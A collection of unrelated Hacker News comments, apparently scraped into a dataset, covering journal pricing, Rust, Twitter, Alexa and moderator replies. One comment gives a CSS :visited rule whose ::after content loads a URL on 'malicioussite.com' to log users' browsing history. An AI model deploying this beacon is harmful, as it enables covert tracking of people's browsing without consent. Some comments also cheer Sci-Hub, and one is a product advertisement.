skysight-inc/HackerNews huggingface dataset:
I honestly don't see anything dystopic about it. The end goal of any business and corporation is to make money, and the objective of every manager is to provide value for their stakeholder.

Although at first it may seem awfully bleak, but one must consider the broader implication of maintaining a culture harmony and stability, especially for larger companies in the age of social media, where a small group of disgruntled individual contributors can cause significant reputation damage.

Happy to discuss this further, I am interested in your views too. There could also be a cultural difference as I've mostly worked in India and the Middle East.
That page tells me nothing about what ReVanced does, except that it's a continuation of Vanced (and has a lot of icons for various services). I'm guessing it's a kind of meta-social thing that gloms each of those services? And from your comment, I guess is provides more settings?
I feel like that boils down to "time is money", and I don't disagree in a commercial context.
I have doubts about whether a source who has supplied misinformation should continue to be given anonymity. Is this unfashionable?

Seems that maybe should a case arise where a government official lies in a way that is consistent with getting the public to support military action, they are not a "source" and deserve no protection whatsoever. They should go from feeding the false story to being the true story in short order. Is that nuts? What am I missing? These kinds of liars will avoid speaking to your publication in the future and that's a bad thing? Something more?
Funnl is world’s first AI prospecting tool. Give your 3 existing customers and it provides 50 prospects list. You can find the technical blog regarding business and sales.
https://funnl.ai/blog/
This black square demo didn’t work on my iPhone (iOS 16.1). I obviously have HN in the tab’s history, but it didn’t detect it.
Shun tribalism. Reach out and make a friend w someone who is GOP. It is healthier path.
The real issue for the publishers isn't a few people on the web linking to archived versions of papers published in their journals, it's when major institutions start dropping subscriptions, which likely add up to tens of thousands of dollars per publisher per university.

Any decent research institution's library will have archived paper copies of journals bound into books dating back 100 years or more, and that's basically the model for the future as well. Going 100% digital isn't such a great idea, due to bitrot and so on, it's still best to have paper archives stored somewhere.

Then, someone has to pay for the print runs on real paper, the work of organizing and publishing each issue, etc. So, how much does that cost per issue, what's the average size of a print run, how many staff have to be paid full time to keep the journals coming off the presses, what kind of profit margins are the publishers extracting from the copyrights, etc., how much do those glossy images on high-quality paper suitable for archiving for decades really cost, etc.

The overall benefits to human civilization of having all the information in research articles available to anyone with a terminal, however, that seems to outweight the other considerations. Maybe some kind of state-subsidized publication system is the answer? It's hardly a competitive market after all.
Kite AI coding is now open source ‘our 500k developers would not pay to use it,’
How long would society last during a total grid collapse?
You can still do this today via CSS. Simply add an ::after pseudo-element to the :visited link with a URL that you control, e.g.: (semi-pseudocode example):

a[href="https://foouniversity.edu/bookstore/"]:visited::after {
content: url(https://malicioussite.com/fingerprintme.png?wentto=foouniversity);
}

The user's browser will handily automatically send a request to the site, logging their visit on your end.

Not 100% sure if browsers block this (they probably can, or otherwise definitely should!) via cross-origin policies or whatever, but if you control the site that the links are on then you can set the cross-origin policy yourself, without any need of a hidden iframe or similar things that are 'obviously scary' to safety-conscious Chromium browsers.

This isn't just something I made up either:

https://csstracking.dev/

https://css-tricks.com/css-based-fingerprinting/

https://github.com/OliverBrotchie/CSS-Fingerprint
Journal pricing DOES NOT MAKE SENSE to third world countries. That is why scihub is a gift.

Last week I came across some random weird article that had a jounrla doi. $40 I was told. Fine but in India, minimum wage is ₹500 and $40 is ₹3360 which is like 7 days of minimum wage for a single article. Absurd.

We have "universities" paying through the nose for a "subscription" but as a commoner who is not an academic and would like access to 'something', this is bad.

And the argument of "poor authors" doest even come up in this discussion so I am all for violating the "intellectual property of publishers", regardless of that making me a criminal or not. Sue my pauper ass.

Scihub is magic. Doi paste, boom. Read.
> So what are they spending those 60% on?

Salaries.
I said trivially lying, as in - the ease with which one can simply lie about the nature of a transaction.

People tend to respond that smart contracts are a solution. I personally think they will always contain bugs and are too complicated for the average person to vet.

In any case, I really wasn’t saying I think the whole subject is trivial. Pinky promise.
> "How much would it cost to lower the PM 2.5 in his house? Even cut it in half?"

In one room, plausibly reduce it by 99% for a one-off $70 air purifier and $30/year of electricity costs and replacement filters: https://dynomight.net/ikea-purifier/
Would you please not fulminate on HN? No one's saying you owe billionaire fraudster wunderkinds better, but you owe this community better if you're posting here, regardless of how strongly you feel.

If you'd please review https://news.ycombinator.com/newsguidelines.html and stick to the rules when posting here, we'd appreciate it.
I think there’s this secondary thing, which you see a lot in the USB-C discussion, which is a corporate culture of “the government doesn’t get to tell us what to do”. The opening of the floodgates on this kind of thing could lead them to being told to do other things.

This is kind of the end state of weird tech libertarianism. Instead of thinking “let’s build cool things along with society” it’s “let’s have this whole universe controlled by us where we can remake everything to our needs”.

Of course they don’t want legislatures dictating how they do things, but this legislative push is happening due to their initial reluctance to do anything. There was an alternate universe available, but a refusal to acknowledge the existence of people who can indeed coerce rhetoric behavior leads to this kind of self own.
We did PR's on documentation files at my last place, it worked but it was more painful than getting reviews for code PR's. Tickets work because they can be reasoned about, shoved aside, brought back into the limelight, updated, other tickets can easily be related to them as more information is discovered, etc.

Overall the comments on this page fall into 2 camps, people who've tried it all and found what works is discipline and those who are still trying it all.
Very little --- I'll go ahead and say, to a first approximation, none --- of that safety has anything to do with software security. The same kinds of bugs that hit Java programs hit Rust programs, with maybe the sole exception of deserialization (which has nothing to do with error handling or type safety).

That matters because that's the kind of "safety" we're talking about when we discuss externalities for end-users --- not servers that need extra monitoring because they might crash.
Kotlin and Scala exist
> While on paper you are correct about the African migrants in reality people were rightly concerned that the will to enforce this was weak.

I feel like I am still missing the legal context on how Brexit solves such an issue.

You mention issues in the English Channel still exist; just last week there were reports on how there are thousands of Albanians (similarly non-EU citizens) who migrated to the UK illegally. But this is post-Brexit, which sort of indicates that Brexit has not solved the border issues.

I can see the argument that Brexit reduces migration from EU nationals (whether that is a good or bad thing is another question), but I have yet to see any indication that it changed non-EU migration in any way.
> I’ve worked in dozens of languages in my career, and with few exceptions most modern, procedural languages (C++, Go, Python, Java, etc.) all very similar in terms of their basic concepts. Each language has its differences but usually it’s a matter of learning a few key patterns that differ across languages and then one can be productive pretty quickly. With Rust, though, one needs to learn entirely new ideas

I'd argue C++ is not anywhere easier, if you are using its features or need to analyze the code that does. It won't be anywhere quick.
> Do you think people are incapable of sticking to their beliefs when they’re faced with counterarguments?

Heh, there are two ways to take your point. So:

I hope most people are capable of discerning poor/invalid counterarguments and holding to their beliefs.

I hope most people are capable of being persuaded by valid counterarguments and changing their minds.

My point was that on the margins there are people who make the right choice for the wrong reasons: they are persuaded to a valid position by sub-standard arguments, or hold their valid position despite generally compelling arguments. And technology like this will (eventually) change that equation. Whoever the AI serves, their position, right or wrong, will be overweight in the public opinion because everyone gets exposed to the custom-made, specific-to-their-mental-susceptibilities arguments from sources they trust, because on other issues those sources agree with them. There are none so imprisoned as those who cannot see the cage. (not sure who said that first, can't be original with me)
>They’ll be back if they think their RoI will be better than alternatives.

The RoI will be better than alternatives if Twitter ads are cheap enough. TikTok and possibly YouTube aren't profitable either, but they have inherently higher expenses. If Facebook and Instagram can be profitable, that means that there's a profitable company inside Twitter somewhere. I'm skeptical that Elon can achieve this, but that doesn'tean it's impossible.
Posting like this will get you banned here. I'm not going to ban you right now because you've also posted good things, but please don't do it again.

If you wouldn't mind reviewing https://news.ycombinator.com/newsguidelines.html and taking the intended spirit of the site more to heart, we'd be grateful.
Pretty sure civilians flee war wether or not the West gets involved.
They share a lot of the same pieces, but voice2json is meant to work in Unix-style pipelines. Rhasspy has MQTT/HTTP/Websocket APIs instead.
It seems bizarre to call this moving the goalposts. You don’t have to list every single goalpost any time you mention one. Especially when these are extremely obvious goalposts like “the site should be working” and “the ads sales tools should be working.”
I haven't tried this, but I think you can get fairly close by generating the HTTP/SQL serialization code. When I get time I want to write an openapi schema amd generate the server code, write a db schema and generate the db code (I want to try https://github.com/ariga/atlas with Ent for this), then write the business logic between them and see how well it all works
> this is what we're talking about.

You have lost your own plot then. This is not about Markdown:

> I have never heard nontechnical people complain about the Confluence wiki. From their perspective, everything Just Works.
I spent one weekend going through the official Khronos tutorial for Vulcan, and wrote (understood, then typed -- as opposed to copy+pasted) the bare minimum necessary to get a triangle on the screen: it came to 900+ lines of code.

Vulcan is not at all like an "enhanced OpenGL" -- it's for experts to leverage while designing the next generation of high-performance graphics libraries.
Among other reasons!
My money is a critical hardware failure somewhere. Certs are known to be an issue and many companies have them. Twitters hardware is probably far more bespoke.
Just once I wish I could force a Rust person to use either Ada, or even an Oberon-2 derivative that spits out C code and which compiles in a flash. Then compare the experience...
Internal documentation is everyone's responsibility, not a "tech writer". External should be written by a professional, agree.
The manager is such a n00b.

The phrase is “If you have time to LEAN, you have time to clean”

At least he could’ve tried to add a rhyme at the end: “if you have time to sit, you have time to clean around it”
> Monks and Nuns of various religions are probably some of the most active practitioners of intentional gratitude. They also have minimal impact on improving peoples' quality of life.

If monks and nuns didnt pursue gratitude so intentionally, do you think they'd improve people's lives more? Seems to me that's just not their role.
WhatsApp was point to point personal communications at that point. It's a lot easier than a broadcast system with discovery.
I don't recall reporters customarily mentioning the country of origin/manufacture of weaponry unless it was germane to the discussion.

When they report ISIS or Taliban killing people they might mention it was with AK-47s but they don't mention where they were manufactured. They may say things like The Taliban are buying AK-47s from China which they then issue to their members.

If this reporter wanted to be correct, they likely want to say Soviet missile fired by Ukraine, given the age of the missile fired, it was likely of vintage manufacture.
> It's as ergonomic as (and sometimes even more so than) any NodeJS or Go API I've made (as even though Rust doesn't have function overloading, actix-web and others have some macro magic they do behind the scenes to make it appear as if it does)

Not that this takes away from your point, but does Go have function overloading? I had assumed it hadn't given the discussions I had heard about what it would take to retrofit `Context` parameters on everything when they added that type, but I guess maybe this could be one of those "functions can but methods can't" things (which I think I heard is how they do generics as well?)
Why is he out wandering around?
I say this with no animus whatsoever, but I would be shocked to learn that's the reason Musk bought Twitter.

I have no private insight to his motives, but profitability / vanity / dozens of other motives seem a lot more likely to me than spending $44 billion to fix a censorship problem, even if that does make for (selectively) good marketing.
I take your comment to be a jab at JS, which I’m not a particular fan of, but I don’t think it holds much water: the GP’s example is nearly identical in Ruby and Python as well, and would have the same problem in those languages.
You're not nuts, but the side-effects of this would destroy the sourcing for all other news.

Imagine you work at $INTEL_AGENCY, and you truly believe that a missile was fired from Russia. That info came across your desk from two separate analysts or trusted sources or whatever. You leak this to a reporter. Then it turns out that your info was wrong and the reporter outs you as the source.

Will anyone ever be a source under these circumstances? Even if they're acting in good faith? No. Not worth he risk of destroying your career or even your freedom.

If I'm a reporter, I will put this name in my own "Brady" list of untrustworthy sources, but I won't make all future sources wary of me by outing them.
I was in a few finance/crypto spaces (voice chat rooms on Twitter) with CEOs/CTOs/industry experts over the past week and it weirded me out how everyone would do this 30 second ass-kissing speech before and after speaking. Some people would even randomly butt in out of nowhere and start giving gratitude to all speakers, triggering a chain of gratitude speeches from other speakers which provided no value at all to the discussion.

Not sure if this is an American/corp-speak thing but it was the first time i really noticed it taking up so much bandwidth in the conversation to the point of annoyance.
Amazon has been working on on-device voice for a while. Actually everyone is trying to do that. Running large speech models in the cloud is expensive, considering the number of devices, they probably need more than "surplus" :)

https://www.amazon.science/blog/on-device-speech-processing-...
AI Supercomputer Has 13.5M Cores–and Was Built in Just Three Days
> I’m just consistently benefiting a little more from our mutual arrangement than you are

Sounds like Go.
Windows is strictly better here because 1) it will never pretend that it has more memory than it actually does, and yet 2) it allows processes to reserve as much address space as they need without using them (which is the sole justification for overcommit), by providing the APIs to control this in a fine grained way.
This has been on HN before[1], https://dynomight.net/air/ arguing that "Better air quality is the easiest way not to die":

"While most things that clearly improve health are well known, one is insanely underrated: Fixing your air. I suspect this is often the most effective health intervention, period. Nothing else is so important while also being so easy to address."

[1] https://hn.algolia.com/?dateRange=all&page=0&prefix=false&qu...
Longtermism, or How to Get-Out-of-Caring While Feeling Moral and Smart
Having founded and flopped on 2 voice-based startups (sonictrade & verbl) I can attest to the difficulty getting user adoption and the importance of being really, really good at simple, but useful tasks. If Alexa gets the plug pulled it won't be because of a small userbase, but rather failure to stop annoying the userbase with recommendations...something Siri does well. And Siri on the Apple Watch is absolutely killer. It is the ultimate functionality on a wearable device, with voice search being the best utility. Command-based voice AI is still in its infancy. The ability to summon cars, book flights, trade stocks, donante funds, turn on the lights, bet on sports, etc. all are doable now and improving in quality of execution daily. But 15,000 engineers working on Alexa? That's where your $10B went!
That's bizarre, creepy, and unacceptable. Since you have a history of breaking the site guidelines before this, I've banned the account.

https://news.ycombinator.com/newsguidelines.html
> This doesn't match my experience.

Does it match the experience of a team and its need to collaboratively deliver software quality across varying levels of engineer experience? If not, then I'm not sure your individual experience is pertinent to the subject matter at hand (using Rust at a startup).
This is how the laptops being discussed in the article actually do work. If PCs don’t work that way complain to Broadcom or nearest motherboard OEM. They have much worse problems though, like only just getting efficiency cores.
A little bit click bait. It's not illegal because it's "too good". It's illegal because it's full of poison (mercury).

And weirdly, I can't seem to find any actual laws naming them. There are laws about mercury waste such that I bet it's not practical to make and sell them, but I don't see any actual bans (except maybe in europe where they have the rohs standards)
LOL Same ! "Oh its on my WL already, sweet"
Mine is on some resource leaks. Some team knows about it and they're all fired/left now.
In my experience multithreaded Rust isn't substantially more restrictive then multithreaded C++ at writing code free of data races (although it very much is at writing single-threaded code free of use-after-free). The primary methods in Rust to share memory across threads (in my experience writing high-performance wait-free but userspace not kernel code) are custom UnsafeCell wrappers which implement Send and Sync and have safe locking mechanisms preventing data races, safe atomics, or safe mutexes.
I hope more people looking into statically typed languages like Rust also take a look at Nim, as it seems to be striking a good balance between performance and developer productivity.
Exactly this.

I think that high documentation can work BUT the company has to invest in it in the way that Digital Ocean or even Stripe has done outwardly.

1. Investment - You have to hire at least a few technical writers and librarians to provide training & cleanup functions.

2. Management buy-in - You have to budget for it and encourage it through day one communication (ie. New hire training) and consistently rewarding and recognizing people for getting it right.
I'm not sure you replied to the right post. I'm not saying advertisers don't have power. I'm saying advertisers' opinions about brand safety don't reflect the real world, those opinions were formed relatively recently, and they might change their minds again in another few years.

If it helps, the situation is similar to Donald Trump's presidency. The man had power, but he frequently made poor decisions based on his incorrect beliefs.
Rhasspy is a more powerful general-purpose application and GUI; voice2json is more like a library or micro-service that does exactly one thing: convert a speech waveform to JSON. They share some DNA though (same syntax for defining vocabulary).

I used voice2json to build a voice-controlled car audio player, it works amazingly well: https://github.com/lukifer/voicetunes
If you foresee cloud costs being among your top expenses, by all means use Rust.
Been in the kernel for long enough to trickle out to recent distributions. Is there something missing?
What good is money if it won't buy you the services/products you require?

In that case, the goal of the business or corporation or organization is not to make money, it's to create those services/products. Making money along the way is then seen only as an organization tool that allows you to build those services/products by coordinating technology, material, labor etc.

The reward is not the pile of money that you can run off to some Shangri-la with and enjoy a few more years of luxury or whatever, it's seeing the thing you built take form.

This notion might seem alien to our hyper-financialized modern economy (which seems suicidally foolish to me), but this is how industrialists in past eras often thought, and is not entirely unheard of today, either.
I agree mostly with this, however, ownership can be strange in Rust if you’re not familiar with it. Something simple like a linked list can be challenging to implement.

https://rust-unofficial.github.io/too-many-lists/
The added benefit of arriving it via this path is that getting really handy teaches you a lot of valuable lessons applicable everywhere else in your life (ones that extend far beyond knowing when contractors are taking advantage of you).

e.g. things in the world aren't as permanent as they appear to be, you have agency to change and improve things, taking a step back to take two steps forward is sometimes the right path, etc...
You need to

1) Link to the documentation in your tools

2) Ensure everyone has edit access to the linked documents
For C, Windows has had a stable CRT (libc in Unix speak) for several years now, since Win10. There are still cross-runtime compatibility concerns with C++, but those shouldn't apply here.
Sounds like a great place to work.

Makes more sense for 100 people to read a doc and get the gist. Rather than interrupting the dev 100 times.